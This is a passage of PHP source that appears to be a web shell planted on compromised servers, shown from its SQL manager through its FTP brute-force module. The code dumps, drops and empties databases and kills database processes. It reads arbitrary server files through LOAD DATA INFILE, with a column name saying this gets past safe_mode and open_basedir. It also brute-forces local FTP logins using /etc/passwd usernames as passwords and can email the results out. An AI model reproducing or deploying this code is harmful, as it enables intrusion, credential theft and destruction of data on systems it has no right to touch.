643 echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
644 }
645 }
646 echo "</b></center>\n";
647 $acts = array("","dump");
648 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
649 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
650 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
651 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
652 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
653 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
654 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
655 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
656 elseif ($sql_tbl_act == "insert") {
657 if ($sql_tbl_insert_radio == 1) {
658 $keys = "";
659 $akeys = array_keys($sql_tbl_insert);
660 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
661 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
662 $values = "";
663 $i = 0;
664 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
665 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
666 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
667 $sql_act = "query";
668 $sql_tbl_act = "browse";
669 }
670 elseif ($sql_tbl_insert_radio == 2) {
671 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
672 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
673 $result = mysql_query($sql_query) or print(mysql_smarterror());
674 $result = mysql_fetch_array($result, MYSQL_ASSOC);
675 $sql_act = "query";
676 $sql_tbl_act = "browse";
677 }
678 }
679 if ($sql_act == "query") {
680 echo "<hr size=\"1\" noshade>";
681 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
682 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
683 if ((!$submit) or ($sql_act)) { echo "<table><tr><td><form action=\"".$sql_surl."\" method=\"post\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; }
684 }
685 if (in_array($sql_act,$acts)) {
686 ?>
687 <table>
688 <tr>
689 <td>
690 <b>Create new table:</b>
691 <form action="<?php echo $surl; ?>">
692 <input type="hidden" name="act" value="sql">
693 <input type="hidden" name="sql_act" value="newtbl">
694 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
695 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
696 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
697 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
698 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
699 <input type="text" name="sql_newtbl" size="20">
700 Fields: <input type="text" name="sql_field" size="3">
701 <input type="submit" value="Create">
702 </form>
703 </td>
704 <td><b>Dump DB:</b>
705 <form action="<?php echo $surl; ?>">
706 <input type="hidden" name="act" value="sql">
707 <input type="hidden" name="sql_act" value="dump">
708 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
709 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
710 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
711 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
712 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
713 <input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">
714 <input type="submit" name="submit" value="Dump">
715 </form>
716 </td>
717 </tr>
718 </table>
719<?php
720 if (!empty($sql_act)) { echo "<hr size=\"1\" noshade>"; }
721 if ($sql_act == "newtbl") {
722 echo "<b>";
723 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
724 echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
725 }
726 else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); }
727 }
728 elseif ($sql_act == "dump") {
729 if (empty($submit)) {
730 $diplay = FALSE;
731 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
732 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
733 $v = join (";",$dmptbls);
734 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
735 if ($dump_file) {$tmp = $dump_file;}
736 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
737 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
738 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
739 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
740 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
741 echo "</form>";
742 }
743 else {
744 $diplay = TRUE;
745 $set = array();
746 $set["sock"] = $sql_sock;
747 $set["db"] = $sql_db;
748 $dump_out = "download";
749 $set["print"] = 0;
750 $set["nl2br"] = 0;
751 $set[""] = 0;
752 $set["file"] = $dump_file;
753 $set["add_drop"] = TRUE;
754 $set["onlytabs"] = array();
755 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
756 $ret = mysql_dump($set);
757 if ($sql_dump_download) {
758 @ob_clean();
759 header("Content-type: application/octet-stream");
760 header("Content-length: ".strlen($ret));
761 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
762 echo $ret;
763 exit;
764 }
765 elseif ($sql_dump_savetofile) {
766 $fp = fopen($sql_dump_file,"w");
767 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
768 else {
769 fwrite($fp,$ret);
770 fclose($fp);
771 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
772 }
773 }
774 else {echo "<b>Dump: nothing to do!</b>";}
775 }
776 }
777 if ($diplay) {
778 if (!empty($sql_tbl)) {
779 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
780 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
781 $count_row = mysql_fetch_array($count);
782 mysql_free_result($count);
783 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
784 $tbl_struct_fields = array();
785 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
786 if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; }
787 if (empty($sql_tbl_page)) { $sql_tbl_page = 0; }
788 if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; }
789 if (empty($sql_tbl_le)) { $sql_tbl_le = 30; }
790 $perpage = $sql_tbl_le - $sql_tbl_ls;
791 if (!is_numeric($perpage)) { $perpage = 10; }
792 $numpages = $count_row[0]/$perpage;
793 $e = explode(" ",$sql_order);
794 if (count($e) == 2) {
795 if ($e[0] == "d") { $asc_desc = "DESC"; }
796 else { $asc_desc = "ASC"; }
797 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
798 }
799 else {$v = "";}
800 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
801 $result = mysql_query($query) or print(mysql_smarterror());
802 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
803 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
804 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
805 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
806 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
807 if ($sql_tbl_act == "structure") { echo "<b>Under construction!</b>"; }
808 if ($sql_tbl_act == "insert") {
809 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
810 if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; }
811 else {
812 echo "<br><br><b>Inserting row into table:</b><br>";
813 if (!empty($sql_tbl_insert_q)) {
814 $sql_query = "SELECT * FROM `".$sql_tbl."`";
815 $sql_query .= " WHERE".$sql_tbl_insert_q;
816 $sql_query .= " LIMIT 1;";
817 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
818 $values = mysql_fetch_assoc($result);
819 mysql_free_result($result);
820 }
821 else {$values = array();}
822 echo "<form method=\"post\"><table width=\"1%\"><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
823 foreach ($tbl_struct_fields as $field) {
824 $name = $field["Field"];
825 if (empty($sql_tbl_insert_q)) {$v = "";}
826 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
827 $i++;
828 }
829 echo "</table><br>";
830 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
831 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
832 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
833 }
834 }
835 if ($sql_tbl_act == "browse") {
836 $sql_tbl_ls = abs($sql_tbl_ls);
837 $sql_tbl_le = abs($sql_tbl_le);
838 echo "<hr size=\"1\" noshade>";
839 echo "<img src=\"".$surl."act=img&img=multipage\" alt=\"Pages\"> ";
840 $b = 0;
841 for($i=0;$i<$numpages;$i++) {
842 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
843 echo $i;
844 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
845 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
846 else { echo " "; }
847 }
848 if ($i == 0) {echo "empty";}
849 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
850 echo "<br><form method=\"post\">\n";
851 echo "<table><tr>";
852 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
853 for ($i=0;$i<mysql_num_fields($result);$i++) {
854 $v = mysql_field_name($result,$i);
855 if ($e[0] == "a") {$s = "d"; $m = "asc";}
856 else {$s = "a"; $m = "desc";}
857 echo "<td>";
858 if (empty($e[0])) {$e[0] = "a";}
859 if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
860 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" alt=\"".$m."\"></a>";}
861 echo "</td>";
862 }
863 echo "<td><font color=\"green\"><b>Action</b></font></td>";
864 echo "</tr>";
865 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
866 echo "<tr>";
867 $w = "";
868 $i = 0;
869 foreach ($row as $k=>$v) {
870 $name = mysql_field_name($result,$i);
871 $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;
872 }
873 if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); }
874 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
875 $i = 0;
876 foreach ($row as $k=>$v) {
877 $v = htmlspecialchars($v);
878 if ($v == "") { $v = "<font color=\"green\">NULL</font>"; }
879 echo "<td>".$v."</td>";
880 $i++;
881 }
882 echo "<td>";
883 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a> ";
884 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> ";
885 echo "</td>";
886 echo "</tr>";
887 }
888 mysql_free_result($result);
889 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" alt=\" ^ \"><select name=\"sql_act\">";
890 echo "<option value=\"\">With selected:</option>";
891 echo "<option value=\"deleterow\">Delete</option>";
892 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
893 }
894 }
895 else {
896 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
897 if (!$result) { echo mysql_smarterror(); }
898 else {
899?>
900 <form method="post">
901 <table>
902 <tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>
903<?php
904 $i = 0;
905 $tsize = $trows = 0;
906 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
907 $tsize += $row["Data_length"];
908 $trows += $row["Rows"];
909 $size = view_size($row["Data_length"]);
910?>
911 <tr>
912 <td><input type="checkbox" name="boxtbl[]" value="<?php echo $row["Name"]; ?>"></td>
913 <td><a href="<?php echo $sql_surl; ?>sql_tbl=<?php echo urlencode($row["Name"]); ?>"><b><?php echo $row["Name"]; ?></b></a></td>
914 <td><?php echo $row["Rows"]; ?></td><td><?php echo $row["Engine"]; ?></td><td><?php echo $row["Create_time"]; ?></td><td><?php echo $row["Update_time"]; ?></td><td><?php echo $size; ?></td>
915 <td><a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DELETE FROM `".$row["Name"]."`"); ?>">Empty</a> <a href="<?php echo $sql_surl; ?>sql_act=query&sql_query=<?php echo urlencode("DROP TABLE `".$row["Name"]."`"); ?>">Drop</a> <a href="<?php echo $sql_surl; ?>sql_tbl_act=insert&sql_tbl=<?php echo $row["Name"]; ?>">Insert</a></td>
916 </tr>
917<?php
918 $i++;
919 }
920 echo "\t\t<tr>\n".
921 "\t\t<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>\n";
922?>
923 </tr>
924 </table>
925 <div align="right">
926 <select name="sql_act">
927 <option value="">With selected:</option>
928 <option value="tbldrop">Drop</option>
929 <option value="tblempty">Empty</option>";
930 <option value="tbldump">Dump</option>";
931 <option value="tblcheck">Check table</option>";
932 <option value="tbloptimize">Optimize table</option>";
933 <option value="tblrepair">Repair table</option>";
934 <option value="tblanalyze">Analyze table</option>";
935 </select>
936 <input type="submit" value="Confirm">
937 </div>
938 </form>
939<?php
940 mysql_free_result($result);
941 }
942 }
943 }
944 }
945 }
946 else {
947 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
948 if (in_array($sql_act,$acts)) {
949?>
950 <table>
951 <tr>
952 <td><b>Create new DB:</b>
953 <form action="<?php echo $surl; ?>">
954 <input type="hidden" name="act" value="sql">
955 <input type="hidden" name="sql_act" value="newdb">
956 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
957 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
958 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
959 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
960 <input type="text" name="sql_newdb" size="20">
961 <input type="submit" value="Create">
962 </form>
963 </td>
964 <td><b>View File:</b>
965 <form action="<?php echo $surl; ?>">
966 <input type="hidden" name="act" value="sql">
967 <input type="hidden" name="sql_act" value="getfile">
968 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
969 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
970 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
971 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
972 <input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">
973 <input type="submit" value="Get">
974 </form>
975 </td>
976 </tr>
977 </table>
978<?php
979 }
980 ##[ SQL ACTIONS ]##
981 if (!empty($sql_act)) {
982 echo "<hr size=\"1\" noshade>";
983 if ($sql_act == "newdb") {
984 echo "<b>";
985 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
986 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
987 }
988 if ($sql_act == "serverstatus") {
989 $result = mysql_query("SHOW STATUS", $sql_sock);
990 echo "<center><b>Server-status variables:</b><br><br>";
991 echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>";
992 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
993 echo "</table></center>";
994 mysql_free_result($result);
995 }
996 if ($sql_act == "servervars") {
997 $result = mysql_query("SHOW VARIABLES", $sql_sock);
998 echo "<center><b>Server variables:</b><br><br>";
999 echo "<table><td><b>Name</b></td><td><b>Value</b></td></tr>";
1000 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1001 echo "</table>";
1002 mysql_free_result($result);
1003 }
1004 if ($sql_act == "processes") {
1005 if (!empty($kill)) {
1006 $query = "KILL ".$kill.";";
1007 $result = mysql_query($query, $sql_sock);
1008 echo "<b>Process #".$kill." was killed.</b>";
1009 }
1010 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1011 echo "<center><b>Processes:</b><br><br>";
1012 echo "<table><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1013 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1014 echo "</table>";
1015 mysql_free_result($result);
1016 }
1017 if ($sql_act == "getfile") {
1018 $tmpdb = $sql_login."_tmpdb";
1019 $select = mysql_select_db($tmpdb);
1020 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1021 if ($select) {
1022 $created = FALSE;
1023 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1024 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1025 $result = mysql_query("SELECT * FROM tmp_file;");
1026 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1027 else {
1028 for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); }
1029 $f = "";
1030 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("\r\n",$row); }
1031 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1032 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1033 mysql_free_result($result);
1034 mysql_query("DROP TABLE tmp_file;");
1035 }
1036 }
1037 mysql_drop_db($tmpdb);
1038 }
1039 }
1040 }
1041 }
1042?>
1043 </td>
1044 </tr>
1045<?php
1046 if ($sql_sock) {
1047 $affected = @mysql_affected_rows($sql_sock);
1048 if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; }
1049 echo "\t<tr><th colspan=2>Affected rows: $affected</th></tr>";
1050 }
1051?>
1052</table>
1053<!-- End of SQL Manager -->
1054<?php
1055 }
1056 if ($act == "ftpquickbrute") {
1057 bar_header(".: Ftp Quick Brute :.");
1058 echo "<table>\n";
1059 echo "<tr><td>";
1060 if (!empty($submit)) {
1061 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1062 $fp = fopen("/etc/passwd","r");
1063 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1064 else {
1065 if ($fqb_logging) {
1066 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1067 else {$fqb_logfp = FALSE;}
1068 $fqb_log = "FTP Quick Brute (".sh_name().") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
1069 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1070 }
1071 @ob_flush();
1072 $i = $success = 0;
1073 $ftpquick_st = getmicrotime();
1074 while(!feof($fp)) {
1075 $str = explode(":",fgets($fp,2048));
1076 if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
1077 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1078 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
1079 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1080 $success++;
1081 ob_flush();
1082 }
1083 if ($i > $fqb_lenght) {break;}
1084 $i++;
1085 }
1086 if ($success == 0) { echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n"; }
1087 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1088 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font class=on><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1089 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
1090 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1091 if ($fqb_logemail) {@mail($fqb_logemail,"".sh_name()." report",$fqb_log);}
1092 fclose($fqb_logfp);
1093 }
1094 }
1095 else {
1096 $logfile = $tmp_dir."alecs_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1097 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1098 echo "<form name=\"f_ftpqb\" action=\"".$surl."\">\n".
1099 "<input type=hidden name=act value=\"ftpquickbrute\">\n".
1100 "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
1101 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
1102 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
1103 "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
1104 "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
1105 "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
1106 }
1107 echo "</td></tr></table></center>";
1108 }
1109 ##[ SECURITY ]##
1110 if ($act == "security") {
1111 bar_header(".: Server Security Information :.");
1112?>
1113<table class="contents">
